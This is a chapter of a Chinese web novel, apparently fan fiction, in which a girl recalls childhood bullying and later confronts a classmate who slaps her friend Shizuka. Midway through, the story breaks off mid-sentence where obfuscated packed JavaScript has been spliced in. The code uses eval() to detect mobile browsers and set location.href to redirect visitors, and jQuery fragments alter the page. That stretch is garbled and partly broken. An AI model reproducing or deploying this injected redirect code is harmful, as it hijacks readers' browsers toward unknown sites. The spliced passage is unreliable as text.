虽然上辈子的记忆还是有些模糊,但具体推测一下还是能说出口的。
“我的母亲是个很温柔的人。”
云雀清弥正和静香坐在屋檐下看着被恰比咬着不松口章鱼噼道:“因为我生了病,她总是会担心我会不会突然死掉,所以会管我会很严。”
“但她确实很爱我,直到我开始上学。”
她撩开袖子在自己胳膊上掐了一下。
“因为这个病,我感知不到痛,所以班里的同学会用玩游戏的借口试探。”
她看着渐渐变红的皮肤,陷入回忆。
刚开始只是淤青,母亲发现后也没在意,但后来他们玩过了头。
“所以为什么还不站起来呢?”
一个拿着棒球棍的女生蹲了下来,拍了拍趴在地上的女孩脑袋。
“游戏还没结束,不要扫兴啊。”
女孩抬起头,呆滞的面容有些不解。
“好奇怪,我的腿没知觉了。”
“别装了!”
女生甩了她一个耳光。
“明明是你先说可以玩了,现在退出算什么意思!”
趴在地上的女孩依旧疑惑,满脸血污的脸上是掩盖不住的单纯和稚气。
“可是我现在站不起来了。”
女生冷笑一声让后面的人把她架了起来。
“这样就可以了吧。”
接下来的事情她就记不太清了,只知道等再有意识时她已经躺在了医院床上,而且整个人被包成了木乃伊,连一根手指都动不了。
“你的母亲应该很伤心吧。”
静香的表情有些悲伤。
“她哭的很伤心。”
云雀清弥整理好袖子继续道:“她告诉我这不是游戏,并强制我以后绝对不能再有这种行为。”
“那……”
静香犹豫的问:“他们不那么做了吗?”
云雀清弥转头看向她,漆黑的眼睛看的静香心里有些发毛,但没一会对方就移开了视线。
“母亲给我休了学。”
至于为什么休学……
她也不知道。
“哦。”
静香歪歪脑袋觉得此时的气氛有些沉重于是道:“恰比快过来。”
黑白相间的大狗狗一把扔下嘴里的章鱼噼摇着尾巴跑了过去,粉色的小章鱼见状,连忙跟上。
“我每次心情不好的时候,都会这样抱着恰比。”
她圈住恰比的脖子。
“这样抱着它就感觉什么都不怕了。”
这样可是很危险的。
云雀清弥笑眯眯的摸着恰比的脑袋。
把所有希望寄托在一只什么都做不了的宠物身上只会死得更惨。
让她猜猜,接下来应该就是因为恰比出了什么事,才会导致静香直接自杀吧。
那么只要让恰比活下来就好办了 。
“那么静香,你今天还有什么打算吗?”
静香想了想摇摇头。
“我准备明天晚上再带恰比去散步。”
“好。”
云雀清弥挥挥手。
“静香,明天见。”
静香露出了一个很浅的笑容。
“明天见。”
云雀清弥刚走出静香家的大门迎面就撞上了靠在树边的云雀恭弥。
云雀清弥有些错愕,眯着的眼睛都瞪圆了。
“我刚刚在屋顶上听到了些有意思的对话。”
男孩笑得很开心,但同时又带着点疑惑 。
“我们什么时候有母亲了啊?妹妹。”
云雀清弥:……
“为什么不能是我在骗她呢?”
云雀清弥上前一步。
“毕竟……我们从小一起长大,我有没有母亲,你会不知道?”
她说得对。
云雀恭弥审视般看着她。
直觉告诉他不对。
毕竟这人惯会用外表骗人。
但这可骗不了他,肉食动物就算装的再像草食动物,其本质是不会改变的。
他哼笑一声,没有回应,而是转身拉开车门。
无所谓。
反正他总会知道。
云雀清弥跟着他上了车。
……
“你听说了吗?咱们学校新来的交换生……”
“听说了,她身上穿的都是名牌,看起来就是个有钱人。”
“但她和那个身上有很重味道的人走一起诶!”
“骗人的吧。”
“怎么可能会有人愿意跟她走一起。”
无论哪所小学要学的东西都很简单。
云雀清弥从车上下来,跟着人流走进教室坐下。
后面的座位上还没人,她的目光看向桌面上的字眼。
强迫症有些犯了。
……
久世静香刚走进教室,就一眼看到自己桌面上的贴纸。
“早上好。”
云雀清弥打了声招呼,把手中剩下的贴纸递给她。
“这些你拿着,贴上去会看起来美观一些哦。”
“好的……”
她呆呆的接过贴纸。
在别人眼里只是白色小花的章鱼噼伸直触须就要蹦到云雀清弥身上却被阻止。
“忘了吗章鱼噼。”
她笑眯眯的点了点这朵小花。
“你现在只是一朵花花哦。”
“不可以乱动的。”
章鱼噼便安安静静的坐在静香肩膀上,这一呆就是一天。
直到晚上散步时,它才重新被抱进了云雀清弥怀里。
“暖和噼。”
只是说着说着,它突然意识到了一件事。
“等等噼!现在是静香——”
“啊哈……”
突如其来的声音打破了现场的宁静。
黄头发的女孩一步一步走来。
“在这个时间点出门真是下贱啊。”
没带项圈的恰比凑上去嗅了嗅那人。
“像你这样的人,真的还有资格养狗吗?还带着新来的同学一起。”
她看向云雀清弥。
“不要被她骗了哦,跟她待在一起可是会被传染的。”
云雀清弥微微眯起眼睛,把章鱼噼放在水泥管上。
像这种被自己母亲带进沟里的人要怎么拯救?
“不劳费心,在谈论别人之前不如先找点时间审视一下自己呢?”
当然是以其人之道,还治其人之身了。
真理奈被噎了一下,随即恼火的看向跑来给恰比带项圈的静香。
“我在跟你说话呢。”
她抬起手就甩了对方一个巴掌
“啪。”
姿态熟练,下手也重。
静香捂着脸坐到地上,恰比开始在身后呲牙。
在她打出第二个巴掌之前,被中途拦下了。
云雀清弥捏住她的手腕。
“不觉得你有点过于失礼了吗?”
她轻轻一甩真理奈就跟静香一样坐在了地上。
“一来就什么都不说,开始动手。”
“真粗鲁啊。”
轻飘飘的语气,满不在乎的态度,看着就让人火大。
“别开玩笑了!”
真理奈从地上爬起来,愤怒地指着静香。
“你有什么资格来指责我?就凭你跟她站在一起吗?”
云雀清弥歪了歪头。
“当然不是。”
静香和章鱼噼都愣了一下。
云雀清弥上前一步直视那双黄色的眼睛。
“我是在帮你啊。”
这下就连真理奈都蒙了。
“什么?可你明明是在帮她!”
对面的女孩眼神突然变得柔和起来,就像在看一个不懂事的小孩子一样。
“可错的人是你呀。”
“毕竟你的母亲只教了你暴力,不是吗?”
一提到母亲真理奈的脑中就浮现出很多片段,有自己父母吵架的,有母亲精神崩溃的……她愤怒地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550627|204317||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抬起手——
“闭嘴!你没有资格……”
“真理奈其实很害怕吧。”
那只手被双手接住,捧起。
“我看见了哦。”
看见?她看见什么了?
“真理奈每天都在挨打呢。”
谁?
挨打?!
她怎么会知道?
真理奈的大脑嗡嗡作响,整个人僵在原地。
“但这是不行的哦。”
女孩依旧在说着,丝毫不顾及她颤抖的身躯。
“如果只是因为这种事情,就把怒火发泄在别人身上的话,早晚有一天会遭反噬的。”
“就像你母亲那样。”
“我让你住嘴!”
“啪——”
她用力甩开对方的手转身就想跑,却再次被拉住手扯了回来。
“不能逃避。”
云雀清弥不赞同的看着她并强行把人摁在地上。
“听我说啦。”
“不听不听不听!”
真理奈崩溃的挣扎起来。
该死的!她今天晚上为什么要出来?
只是一条狗而已,早知道就换一天了!
然而,世上没有后悔药。
就算她不想听,云雀清弥也不会停下,于是她只能无奈的跟人争辩起来。
“如果不是她的妈妈抢走了爸爸,妈妈怎么可能会那样!”
“可这一切跟她又没有关系,不是吗?”
“她难道抢走了你爸爸吗?”
“如果不是她,那又是谁?”
这三个问题给真理奈问的有些懵,大脑下意识就开始思考起来。
因为久世静香的妈妈所以爸爸和妈妈才会天天吵架,但久世静香抢走了爸爸……不对是因为她的妈妈……爸爸和妈妈才会吵架,那是谁抢走了他的爸爸?
答案不言而喻。
是久世静香的妈妈。
“可是她难道就一点错没有了吗?如果她没有错的话,那我做的这一切又都算什么?”
“当然算你是笨蛋啊。”
云雀清弥看她的眼神依旧悲悯柔和。
她面色平静到没有任何一丝一毫多余的情绪一般,了当定论。
“不过现在意识到也还不晚哦。”
她把真理奈从地上拉起来,摆好跪坐的姿势。
“道歉吧。”
“怎么可能?!”
真理奈下意识拒绝了。
“寄生虫生出来的东西,为什么不是寄生虫?她肯定遗传了她妈妈的基因,以后也会抢别人的爸爸,我是绝对绝对不要和这种人道歉——”
“啪。”
轻轻的巴掌落到她的脸上。
不痛,比起她打的来说甚至可以称得上轻抚,不过是两只手的。
云雀清弥捧着她的脸,轻轻说道:“根据我所学的东西来看,只有超雄基因才会遗传才对,况且我一直都很想问一下……”
她黑洞般的眼睛几乎和身后的夜色融为一体,被注视时有种让人想要陷进去,走进那令人毛骨悚然的黑暗中的感觉。
好可怕。
“可不可以自己做些决定呢?”
明明是相当温和的话语,现在听着却让人心里发寒。
好可怕。
“这样做的话,真的对吗?”
脸上的指尖动了动,非常有威胁性的按了按手下跳动的动脉。
好可怕。
“清弥……”
“如果害怕的话,适当的逃避也没关系吧?”
凑得极近的雪白脸颊在黑夜中像是索命的厉鬼,连带她嘴角的笑意都变得森冷诡异。
“清弥!”
静香的呼唤打断了她后面的话。
“请不要再说了。”
女孩这才发现眼前被自己捧着脸的女孩哭了出来,对方的眼泪正一滴一滴的顺着她的指缝流下。
章鱼噼静悄悄的凑了上来,伸出触须,挠了挠脑袋。
“哭了噼?”